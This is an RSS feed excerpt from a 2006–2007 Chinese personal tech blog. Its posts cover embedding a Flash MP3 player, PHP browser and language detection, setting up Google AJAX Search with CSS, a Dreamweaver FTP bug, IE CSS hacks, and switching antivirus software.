<p>如果你的blog不是wordpress系统或者你想在自己的其他网页上添加播放器，请用如下的代码：</p>
<pre class="brush: php; light: false;">&lt;object type=&quot;application/x-shockwave-flash&quot; data=&quot;http://www.znsun.com/Music/player_mp3_maxi.swf&quot; width=&quot;200&quot; height=&quot;20&quot;&gt;
&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&gt;
&lt;param name=&quot;movie&quot; value=&quot;http://www.znsun.com/Music/player_mp3_maxi.swf&quot; /&gt;
&lt;param name=&quot;FlashVars&quot; value=&quot;mp3=歌曲地址栏&amp;amp;bgcolor1=ffffff&amp;amp;bgcolor2=cccccc&amp;amp;buttoncolor=999999&amp;amp;buttonovercolor=0&amp;amp;slidercolor1=cccccc&amp;amp;slidercolor2=999999&amp;amp;sliderovercolor=666666&amp;amp;textcolor=0&amp;amp;showvolume=1&amp;amp;autoplay=0&amp;amp;loop=0&quot; /&gt;
&lt;p&gt;Texte alternative&lt;/p&gt;
&lt;/object&gt;
</pre>
<p>注：<br />
 上面包含了两段播放代码，针对不同的浏览器有效，满足不同人士需要啦。<br />
 <span style="color: pink;">这个播放器本身是在我网站上的，你可以<a href="http://znsun.com/Download/2007/20070314_player_mp3_maxi.rar">下载</a>后再上传到自己的网站上。</span><br />
 其中</p>
<ol>
<li>歌曲地址栏请包含完整的歌曲 URL代码</li>
<li>&amp;autoplay=0 用来控制是否自动播放(1为自动播放)，如果不需要请删除此部分代码。</li>
<li>&amp;loop=0用来控制是否重复播放(1为重复播放)，如果不需要请删除此部分代码。</li>
</ol>
<p>更多的参考请参阅：<a href="http://flash-mp3-player.net/">http://flash-mp3-player.net/ </a></p>
<p>最后的实际效果见下，自动播放被我取消了，请自行点击开始欣赏。</p>
<p><object type="application/x-shockwave-flash" data="http://www.znsun.com/Music/player_mp3_maxi.swf" width="200" height="20"><param name="wmode" value="transparent" /><param name="movie" value="player_mp3_maxi.swf" /><param name="FlashVars" value="mp3=http://znsun.com/Music/2005/trytoremember.mp3&amp;bgcolor1=ffffff&amp;bgcolor2=cccccc&amp;buttoncolor=999999&amp;buttonovercolor=0&amp;slidercolor1=cccccc&amp;slidercolor2=999999&amp;sliderovercolor=666666&amp;textcolor=0&amp;showvolume=1&amp;autoplay=0&amp;loop=0" /><p>Texte alternatif</p>
</p>
<p></object></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/03/508/a-recommended-online-players">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/03/508/a-recommended-online-players#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/03/508/a-recommended-online-players/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP判断浏览器类型和浏览器语言</title>
		<link>http://blog.znsun.com/2007/03/507/php-judgement-browser-type-and-language-system</link>
		<comments>http://blog.znsun.com/2007/03/507/php-judgement-browser-type-and-language-system#comments</comments>
		<pubDate>Tue, 13 Mar 2007 16:44:35 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/14/507</guid>
		<description><![CDATA[用php语言来判断浏览器类型其实很简单。
因为浏览器在和服务器连接时候都会先发送一些包含自己信息的内容（浏览器类型、语言啦）。
这里我们主要分析的是_SERVER["HTTP_USER_AGENT"](浏览器类型)和_SERVER["HTTP_ACCEPT_LANGUAGE"](浏览器语言)。
我们所要做的就是把这些内容读出来，然后用strpos或者preg_match函数来对比就可以了。
判断浏览器类型:

&#60;?php echo $_SERVER[&#34;HTTP_USER_AGENT&#34;]; ?&#62;

判断浏览器语言:

&#60;?php echo $_SERVER[&#34;HTTP_ACCEPT_LANGUAGE&#34;]; ?&#62;

判断浏览器类型的具体程序如下:

&#60;?php
if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;MSIE 8.0&#34;))
echo &#34;Internet Explorer 8.0&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;MSIE 7.0&#34;))
echo &#34;Internet Explorer 7.0&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;MSIE 6.0&#34;))
echo &#34;Internet Explorer 6.0&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;Firefox/3&#34;))
echo &#34;Firefox 3&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;Firefox/2&#34;))
echo &#34;Firefox 2&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;Chrome&#34;))
echo &#34;Google Chrome&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;Safari&#34;))
echo &#34;Safari&#34;;
else if(strpos($_SERVER[&#34;HTTP_USER_AGENT&#34;],&#34;Opera&#34;))
echo &#34;Opera&#34;;
else echo $_SERVER[&#34;HTTP_USER_AGENT&#34;];
?&#62;

判断浏览器语言的具体程序如下:

&#60;?php
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); //只取前4位，这样只判断最优先的语言。如果取前5位，可能出现en,zh的情况，影响判断。
if (preg_match(&#34;/zh-c/i&#34;, $lang))
echo &#34;简体中文&#34;;
else if (preg_match(&#34;/zh/i&#34;, $lang))
echo &#34;繁體中文&#34;;
else if (preg_match(&#34;/en/i&#34;, $lang))
echo &#34;English&#34;;
else if (preg_match(&#34;/fr/i&#34;, $lang))
echo [...]]]></description>
			<content:encoded><![CDATA[<p>用php语言来判断浏览器类型其实很简单。<br />
因为浏览器在和服务器连接时候都会先发送一些包含自己信息的内容（浏览器类型、语言啦）。</p>
<p>这里我们主要分析的是_SERVER["HTTP_USER_AGENT"](浏览器类型)和_SERVER["HTTP_ACCEPT_LANGUAGE"](浏览器语言)。</p>
<p>我们所要做的就是把这些内容读出来，然后用strpos或者preg_match函数来对比就可以了。</p>
<p>判断浏览器类型:</p>
<pre class="brush: php; light: true;">
&lt;?php echo $_SERVER[&quot;HTTP_USER_AGENT&quot;]; ?&gt;
</pre>
<p>判断浏览器语言:</p>
<pre class="brush: php; light: true;">
&lt;?php echo $_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;]; ?&gt;
</pre>
<p>判断浏览器类型的具体程序如下:</p>
<pre class="brush: php;">
&lt;?php
if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;MSIE 8.0&quot;))
echo &quot;Internet Explorer 8.0&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;MSIE 7.0&quot;))
echo &quot;Internet Explorer 7.0&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;MSIE 6.0&quot;))
echo &quot;Internet Explorer 6.0&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;Firefox/3&quot;))
echo &quot;Firefox 3&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;Firefox/2&quot;))
echo &quot;Firefox 2&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;Chrome&quot;))
echo &quot;Google Chrome&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;Safari&quot;))
echo &quot;Safari&quot;;
else if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;Opera&quot;))
echo &quot;Opera&quot;;
else echo $_SERVER[&quot;HTTP_USER_AGENT&quot;];
?&gt;
</pre>
<p>判断浏览器语言的具体程序如下:</p>
<pre class="brush: php;">
&lt;?php
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); //只取前4位，这样只判断最优先的语言。如果取前5位，可能出现en,zh的情况，影响判断。
if (preg_match(&quot;/zh-c/i&quot;, $lang))
echo &quot;简体中文&quot;;
else if (preg_match(&quot;/zh/i&quot;, $lang))
echo &quot;繁體中文&quot;;
else if (preg_match(&quot;/en/i&quot;, $lang))
echo &quot;English&quot;;
else if (preg_match(&quot;/fr/i&quot;, $lang))
echo &quot;French&quot;;
else if (preg_match(&quot;/de/i&quot;, $lang))
echo &quot;German&quot;;
else if (preg_match(&quot;/jp/i&quot;, $lang))
echo &quot;Japanese&quot;;
else if (preg_match(&quot;/ko/i&quot;, $lang))
echo &quot;Korean&quot;;
else if (preg_match(&quot;/es/i&quot;, $lang))
echo &quot;Spanish&quot;;
else if (preg_match(&quot;/sv/i&quot;, $lang))
echo &quot;Swedish&quot;;
else echo $_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;];
?&gt;
</pre>
<p>这是根据上面的代码做出来的一个小程序:<br />
<a href="http://www.znsun.com/Download/test.php" title="http://www.znsun.com/Download/test.php" target="_blank">www.znsun.com/Download/test.php</a><br />
判断浏览器类型主要是靠分析_SERVER["HTTP_USER_AGENT"]的内容，而分析浏览器语言则是分析_SERVER["HTTP_ACCEPT_LANGUAGE"]。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/03/507/php-judgement-browser-type-and-language-system">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/03/507/php-judgement-browser-type-and-language-system#comments">8 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/03/507/php-judgement-browser-type-and-language-system/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Google AJAX Search 使用简介</title>
		<link>http://blog.znsun.com/2007/03/505/google-ajax-search-use</link>
		<comments>http://blog.znsun.com/2007/03/505/google-ajax-search-use#comments</comments>
		<pubDate>Mon, 12 Mar 2007 16:23:14 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[Ajax]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/13/505</guid>
		<description><![CDATA[无意中发现了Google提供了AJAX Search功能，可以适用于各大Blog（包括wordpress，blogspot，自制网页,等等），随即用Google大神搜索了一下。结果我发现网上有不少相关的文章，但是适合我的一个都没有，于是我自己动手把这个功能加到blog中，具体效果请试用左侧的搜索栏。本着共享的原则，将方法写在这儿，给大家一个  参考。
Google AJAX  Search的功能非常强大，可以搜索网页、地图、新闻、书籍等等。但是我觉得对一个blog搜索来说，只要有本站搜索和网页搜索两项就足够了；另外，现在的blog多会采用两栏或者三栏的布局方式，因此，我也选择了将搜索栏和搜索结果分开显示的方法，合理的利用空间，如果你希望添加更多的内容，请参见Google AJAX Search documentation。
首先你要做的是去Google的网站申请一个Google AJAX Search API，点击左下角的确认框，并且输入你的blog地址后，你会得到一个长长的Key。

随后，在需要添加AJAX搜索功能的网页之header部分（在&#60;head&#62;和&#60;/head&#62;之间），嵌入如下的代码（如果你使用的是wordpress，请在header.php中的&#60;/head&#62;之前添加）：

&#60;script src=&#34;http://www.google.com/uds/api?file=uds.js&#38;v=1.0&#38;key=请在此处填写你的key&#34; type=&#34;text/javascript&#34;&#62;&#60;/script&#62;
&#60;script language=&#34;Javascript&#34; type=&#34;text/javascript&#34;&#62;//&#60;![CDATA[
function OnLoad() {
// create a search control
var searchControl = new GSearchControl();
searchControl.setLinkTarget(GSearch.LINK_TARGET_SELF); //可选项，如果删除此行，搜索结果将在新页中打开
searchControl.setResultSetSize(GSearch.LARGE_RESULTSET); //可选项，如果删除此行，搜索结果将从10条变为4条
// create a draw options object so that we
// can position the search form root
var options = new GdrawOptions();
options.setSearchFormRoot(document.getElementById(&#34;searchForm&#34;));
options.setDrawMode(GSearchControl.DRAW_MODE_TABBED);

var siteSearch = new GwebSearch();
siteSearch.setUserDefinedLabel(&#34;填入你的网站标签&#34;);
siteSearch.setUserDefinedClassSuffix(&#34;siteSearch&#34;);
siteSearch.setSiteRestriction(&#34;填入你的blog网址&#34;);
searchControl.addSearcher(siteSearch);

// standard, unrestricted web search
searchControl.addSearcher(new [...]]]></description>
			<content:encoded><![CDATA[<p>无意中发现了<a href="http://www.google.com" target="_blank">Google</a>提供了<a href="http://code.google.com/apis/ajaxsearch/" target="_blank">AJAX Search</a>功能，可以适用于各大Blog（包括wordpress，blogspot，自制网页,等等），随即用Google大神搜索了一下。结果我发现网上有不少相关的文章，但是适合我的一个都没有，于是我自己动手把这个功能加到blog中，具体效果请试用左侧的搜索栏。本着共享的原则，将方法写在这儿，给大家一个  参考。</p>
<p>Google AJAX  Search的功能非常强大，可以搜索网页、地图、新闻、书籍等等。但是我觉得对一个blog搜索来说，只要有本站搜索和网页搜索两项就足够了；另外，现在的blog多会采用两栏或者三栏的布局方式，因此，我也选择了将搜索栏和搜索结果分开显示的方法，合理的利用空间，如果你希望添加更多的内容，请参见<a href="http://code.google.com/apis/ajaxsearch/documentation/">Google AJAX Search documentation</a>。</p>
<p>首先你要做的是去Google的网站申请一个<a href="http://code.google.com/apis/ajaxsearch/signup.html">Google AJAX Search API</a>，点击左下角的确认框，并且输入你的blog地址后，你会得到一个长长的Key。</p>
<p><!--inline-more--></p>
<p>随后，在需要添加AJAX搜索功能的网页之header部分（在&lt;head&gt;和&lt;/head&gt;之间），嵌入如下的代码（如果你使用的是wordpress，请在header.php中的&lt;/head&gt;之前添加）：</p>
<pre class="brush: jscript; light: false;">
&lt;script src=&quot;http://www.google.com/uds/api?file=uds.js&amp;v=1.0&amp;key=请在此处填写你的key&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;script language=&quot;Javascript&quot; type=&quot;text/javascript&quot;&gt;//&lt;![CDATA[
function OnLoad() {
// create a search control
var searchControl = new GSearchControl();
searchControl.setLinkTarget(GSearch.LINK_TARGET_SELF); //可选项，如果删除此行，搜索结果将在新页中打开
searchControl.setResultSetSize(GSearch.LARGE_RESULTSET); //可选项，如果删除此行，搜索结果将从10条变为4条
// create a draw options object so that we
// can position the search form root
var options = new GdrawOptions();
options.setSearchFormRoot(document.getElementById(&quot;searchForm&quot;));
options.setDrawMode(GSearchControl.DRAW_MODE_TABBED);

var siteSearch = new GwebSearch();
siteSearch.setUserDefinedLabel(&quot;填入你的网站标签&quot;);
siteSearch.setUserDefinedClassSuffix(&quot;siteSearch&quot;);
siteSearch.setSiteRestriction(&quot;填入你的blog网址&quot;);
searchControl.addSearcher(siteSearch);

// standard, unrestricted web search
searchControl.addSearcher(new GwebSearch());

searchControl.draw(document.getElementById(&quot;searchResults&quot;), options);
}
GSearch.setOnLoadCallback(OnLoad);
//]]&gt;
&lt;/script&gt;
</pre>
<p>几个地方需要修改的我已经在代码中列明。</p>
<p>然后在你需要放置搜索结果的地方（一般放置在代码&lt;body&gt;之后，显示blog内容的部分）嵌入如下代码，（如果你使用wordpress，请在header.php中的代码&lt;div id="content"&gt;之后添加）：</p>
<p class="code">&lt;div id="searchResults"/&gt;&lt;/div&gt;</p>
<p>现在，你需要添加的是搜索条部分，一般说来，我们会选择在侧栏添加如下代码（如果你使用wordpress，请在siderbar.php中添加）：</p>
<p class="code">&lt;div id="searchform"&gt;&lt;/div&gt;</p>
<p>好，现在你要做的是最后一件事情，将如下的代码嵌入到你的css文件中（wp用户的css文件为相应theme下的style.css），如果你的  网站没有css文件，那么请在&lt;head&gt;和&lt;/head&gt;添加如下代码，注意，你可能要根据自己网站的实际情况修改下列代码：</p>
<pre class="brush: css; light: false;">
/** Copyright 2005 Google Inc. All rights reserved. */
/* the GSearchControl CSS Classes
* .gsc-control :主显示框
*/
.gsc-control {
width: 98%;
}

.gsc-control div {
position: static;
}

/* control inputs
* .gsc-search-box : 搜索栏大小
* .gsc-input : the text input area
* .gsc-keeper : the save link below savable results
*/
form.gsc-search-box {
width: 96%;
}

/*
* This table contains the input element as well as the search button
* Note that the search button column is fixed width, designed to hold the
* button div's background image
*/
table.gsc-search-box {
width : 100%;
margin-bottom : 2px;
margin-top : 5px;
margin-left: -6px;
}

td.gsc-search-button {
width : 1%;
}

td.gsc-clear-button {
width : 14px;
}

/**
* undo common generic table rules
* that tend to impact branding
*/
table.gsc-branding td,
table.gsc-branding {
margin: 0 0 0 0;
padding: 0 0 0 0;
border : none;
}

table.gsc-branding {
border-style : none;
border-width : 0px;
border-spacing : 0px 0px;
width : 100%;
}

td.gsc-branding-text {
vertical-align : top;
}

td.gsc-branding-text div.gsc-branding-text {
padding-bottom : 2px;
text-align : right;
color : #676767;
font-size : 11px;
margin-right : 2px;
}

td.gsc-branding-img-noclear {
width : 51px;
vertical-align : bottom;
}

td.gsc-branding-img {
width : 60px;
vertical-align : bottom;
}

input.gsc-search-button {
margin-left : 4px;
}

div.gsc-clear-button {
display : inline;
text-align : right;
margin-left : 4px;
margin-right : 4px;
padding-left : 10px;
background-repeat: no-repeat;
background-position: center center;
background-image: url('http://www.google.com/uds/css/clear.gif');
cursor : pointer;
}

/*
* Given that this is sitting in a variable width tabel cell, the idea is
* for it to consume the entire cell. The adjacent cell contains the search
* button and that is a fixed width cell.
*/
input.gsc-input {
padding-left : 2px;
border-style : solid;
border-width : 1px;
border-color : #BCCDF0;
width : 99%;
}

/* tabbed mode of search control
* .gsc-tabsArea : the box containing all of the tabs
* .gsc-tabsAreaInvisible : same as above, but this is the state when search has been cleared
* .gsc-tabHeader : an individual tab
* .gsc-tabHeader.gsc-tabhActive : the active tab
* .gsc-tabHeader.gsc-tabhInactive : an inactive tab
* .gsc-tabData : the data area/box containg results and header data for each tab
* .gsc-tabData.gsc-tabdActive : the data area for the active tab
* .gsc-tabData.gsc-tabdInactive : the data area for inactive tabs
*/
.gsc-tabsArea {
clear: both;
margin-top: 6px;
}

.gsc-tabsAreaInvisible {
display : none;
}

.gsc-tabHeader {
display: inline;
cursor: pointer;
display: inline;
padding: 2px 10px !important;
border: 1px solid #999; /*可修改搜索结果标题栏的边框颜色*/
border-bottom: none;
margin-bottom: 0;
margin-right: -6px; /*不要修改*/
margin-left: 10px; /*不要修改*/
}

.gsc-tabHeader.gsc-tabhActive {
background: #484848; /*正在显示的搜索结果标题栏的背景*/
color: #FFFF99; /*正在显示的搜索结果标题栏的字体颜色*/

}

.gsc-tabHeader.gsc-tabhInactive {

}

.gsc-tabData.gsc-tabdActive {
display: block;
border: 1px solid #999; /*搜索结果显示栏的边框颜色*/
padding:10px;
background: #484848; /*搜索结果显示栏的背景颜色*/
margin-bottom:10px; /*搜索结果显示栏内文字字体*/
font-size:14px;
}

/*此代码只对IE6适用*/
* html .gsc-tabData.gsc-tabdActive {
display: block;
border: 1px solid #999; /*搜索结果显示栏的边框颜色*/
padding:10px;
background: #484848; /*搜索结果显示栏的背景颜色*/
margin-bottom:10px; /*搜索结果显示栏内文字字体*/
font-size:14px;
margin-top:1px; /*不要更改，保证tab显示效果和firefox一致*/
}

/*此代码只对IE7适用*/
*+ html .gsc-tabData.gsc-tabdActive {
display: block;
border: 1px solid #999; /*搜索结果显示栏的边框颜色*/
padding:10px;
background: #484848; /*搜索结果显示栏的背景颜色*/
margin-bottom:10px; /*搜索结果显示栏内文字字体*/
font-size:14px;
margin-top:1px; /*不要更改，保证tab显示效果和firefox一致*/
}

.gsc-tabData.gsc-tabdInactive {
display: none;
}

/* tab specific results header supression
* - no twiddle, tabbed mode runs in full expand mode
* - no title
* - no stats
*/
.gsc-tabData .gsc-resultsHeader .gsc-title {
display: none;
}

.gsc-tabData .gsc-resultsHeader .gsc-stats {
display: none;
}

.gsc-tabData .gsc-resultsHeader .gsc-results-selector {
display : none;
}

/* the results for each section
* .gsc-resultsbox-{visible,invisible} : a complete-collection of results including headers
* .gsc-results : the collection of results for a given searcher
* .gsc-result : a generic result within the control. each result has this class, as well as .gsc-xxxResult where xxx is web, image, local, blog, etc.
*/

.gsc-resultsbox-visible {
display : block;
}

.gsc-resultsbox-invisible {
display : none;
}

.gsc-results {
clear: both;
padding-bottom: 2px;
}

.gsc-result {
margin-bottom: 10px;
}

.gsc-result .gs-title {
height: 1.4em;
overflow: hidden;
}

/* specialized, result type specific, fine grained controls */
.gsc-result div.gs-watermark {
display: none;
}

/* Ads
*/
.gsc-results .gsc-result img.gs-ad-marker {
display: none;
}

/*** End of Control, Begin Results ***/

/* generic, cross cutting result style
* - in the form of .gs-result .gs-xxx where xxx is the generic style
* .gs-title : typically the first line of a result, typically a link, image results over ride this, since for image results, the image is the link
* .gs-divider : typically seperates results from ads
* .gs-visibleUrl : typically the last line of a result, displayed in green. sometimes a link (like in blog search)
* .gs-clusterUrl : for news, and other similar services, this is a cluster of additional results
* img.gs-image : an actial image in a result
* .gs-phone : a phone number
* .gs-address : an address (includes street, city, region, country)
* .gs-streetAddress : a street (including #)
* .gs-city : a city
* .gs-region : a region (zip code, area, etc.)
* .gs-country : a country
* .gs-snippet : snippetized content
* .gs-watermark : indicator that user selected this result
* .gs-metadata : generic metadata, e.g.,
* .gs-image-box : generic container for a result's image (within a table)
* .gs-text-box : generic container for a result's text content (within a table). Note that this class, and image-box are only used in video
*/
.gs-result .gs-title,
.gs-result .gs-title * {
color: #6FF; /*搜索结果内容标题栏颜色 */
text-decoration: underline;
padding-bottom:5px;
}

.gs-divider {
padding-bottom: 8px;
text-align: center;
color: #676767;
}

.gs-result a.gs-visibleUrl,
.gs-result .gs-visibleUrl {
color: #FAC; /*搜索结果来源网站的颜色 */
text-decoration: none;
}

.gs-webResult div.gs-visibleUrl-long {
width : 100%;
overflow : hidden;
display : none;
}
</pre>
<p>可能需要修改的地方，我已经用汉字注解标注。</p>
<p>好了，在完成上述工作以后，将你所修改好的文件上传，就大功告成了。现在，别人如果要搜索你的网页，可以非常快速的用Google在你的网页上立即完成，一个字－酷！</p>
<p><span class="technoratitag">Technorati Tags: <a rel="tag" href="http://www.technorati.com/tags/Google">Google</a>, <a rel="tag" href="http://www.technorati.com/tags/AJAX">AJAX</a>, <a rel="tag" href="http://www.technorati.com/tags/Search">Search</a>, <a rel="tag" href="http://www.technorati.com/tags/%E6%90%9C%E7%B4%A2">搜索</a>, <a rel="tag" href="http://www.technorati.com/tags/%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C">使用手册</a></span></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/03/505/google-ajax-search-use">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/03/505/google-ajax-search-use#comments">One comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/03/505/google-ajax-search-use/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>DW 8: FTP info does not save for remote sites</title>
		<link>http://blog.znsun.com/2007/03/498/dw-8-ftp-info-does-not-save-for-remote-sites</link>
		<comments>http://blog.znsun.com/2007/03/498/dw-8-ftp-info-does-not-save-for-remote-sites#comments</comments>
		<pubDate>Fri, 02 Mar 2007 08:47:33 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/02/498</guid>
		<description><![CDATA[Dreamweaver 8 dunt save user name/password for those sites which are connected through ftp.
It happens once IE7 is installed.
Adobe didnot mention this issue on its website, but fortunately, Dreamweaver 8.0.2 Updater can fix this problem.
	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  No comment ]]></description>
			<content:encoded><![CDATA[<p>Dreamweaver 8 dunt save user name/password for those sites which are connected through ftp.<br />
It happens once IE7 is installed.<br />
<a href="http://www.adobe.com/" target="_blank">Adobe</a> didnot mention this issue on its website, but fortunately, <a href="http://www.adobe.com/support/dreamweaver/downloads_updaters.html#dw8" target="_blank">Dreamweaver 8.0.2 Updater</a> can fix this problem.</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/03/498/dw-8-ftp-info-does-not-save-for-remote-sites">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/03/498/dw-8-ftp-info-does-not-save-for-remote-sites#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/03/498/dw-8-ftp-info-does-not-save-for-remote-sites/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS hack for browsers</title>
		<link>http://blog.znsun.com/2006/10/468/css-hack-for-browsers</link>
		<comments>http://blog.znsun.com/2006/10/468/css-hack-for-browsers#comments</comments>
		<pubDate>Mon, 23 Oct 2006 14:22:06 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2006/10/23/468</guid>
		<description><![CDATA[最近看到了MS发布了正式版的IE7，忍不住跑去升级了，但是升级完毕后就发现用IE7看我的blog时候，排版就有些小问题。
仔细研究了一下，发现代码出在css文件中的li 和ul上。不用的浏览器对li和ul的解释不一样，标准浏览器如firefox就中规中举的解释，而IE仗着自己强大的市场占有率非要按照自己的方法来诠释，更让人ft的是IE6和IE7的解释还不一样……
不得已，咱们只能想个折衷的办法，对不用的浏览器采用不同的代码：
向google大神求教以后得到如下解法
比方说我左侧sidebar的控制，可以针对不同的浏览器写出三个来：

#menu li {}  /* Moz, firefox, */
#menu li ul {}
* html #menu li {}  /* Moz, firefox, */
* html #menu li ul {}
*+html #menu li {}  /* IE7, */
*+html #menu li ul {}
不同的浏览器只会解释各自的代码行，互相不干扰。
具体的解释见内，admire一下牛人，我就不多费口舌注解了。
	
	
	&#169; SUN for 徘徊在玻璃之城, 2006. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  No comment ]]></description>
			<content:encoded><![CDATA[<p>最近看到了MS发布了正式版的IE7，忍不住跑去升级了，但是升级完毕后就发现用IE7看我的blog时候，排版就有些小问题。</p>
<p>仔细研究了一下，发现代码出在css文件中的li 和ul上。不用的浏览器对li和ul的解释不一样，标准浏览器如firefox就中规中举的解释，而IE仗着自己强大的市场占有率非要按照自己的方法来诠释，更让人ft的是IE6和IE7的解释还不一样……</p>
<p>不得已，咱们只能想个折衷的办法，对不用的浏览器采用不同的代码：<br />
向google大神求教以后得到如下解法</p>
<p>比方说我左侧sidebar的控制，可以针对不同的浏览器写出三个来：</p>
<blockquote><p>
#menu li {}  /* Moz, firefox, */<br />
#menu li ul {}</p>
<p>* html #menu li {}  /* Moz, firefox, */<br />
* html #menu li ul {}</p>
<p>*+html #menu li {}  /* IE7, */<br />
*+html #menu li ul {}</p></blockquote>
<p>不同的浏览器只会解释各自的代码行，互相不干扰。<br />
具体的<a href="http://nanobox.chipx86.com/blog/2006/04/easy-css-hacks-for-ie7.php#p2006.4.28.22.56:12">解释见内</a>，admire一下牛人，我就不多费口舌注解了。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2006. |
	  <a href="http://blog.znsun.com/2006/10/468/css-hack-for-browsers">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2006/10/468/css-hack-for-browsers#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2006/10/468/css-hack-for-browsers/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>告别卡巴，迎娶BD</title>
		<link>http://blog.znsun.com/2006/10/457/bid-farewell-to-president-kabbah-married-bd</link>
		<comments>http://blog.znsun.com/2006/10/457/bid-farewell-to-president-kabbah-married-bd#comments</comments>
		<pubDate>Wed, 04 Oct 2006 09:36:26 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2006/10/04/457</guid>
		<description><![CDATA[无意中看到了今年最新的antivirus software排名，使用好久的卡巴被来自罗马尼亚的BitDefender超越了……
在经过一个小时的调查研究分析后，决定挥泪卸载本本里面的卡巴斯基＋天网防火墙的组合，迎娶BitDedender－－这一黄金套装（antivirus,antispyware,firewall)。
又经过一个小时的测试，结果如下：
启动速度，Bitdefender要快于我的卡巴＋天网组合（其实天网并不好用，我用他，只是因为当初买了个10块的正版，不舍得丢弃）。
查毒方面，BitDefender比较可爱，居然从我的电脑里查出个以前下载的整人游戏，“病毒“名称为Joke.Stressrelief。话说回来，BD的病毒库比卡巴大整整一倍还多。
实时报警，我不中病毒已经好久了，这个暂时没法测试。其实身为杀软的老大和老二，BD和卡巴都是非常鏢悍的。但是浏览网页的时候，卡巴有些拖速度，让我不是很喜欢，这次换了BD，希望它能占更少的系统资源。
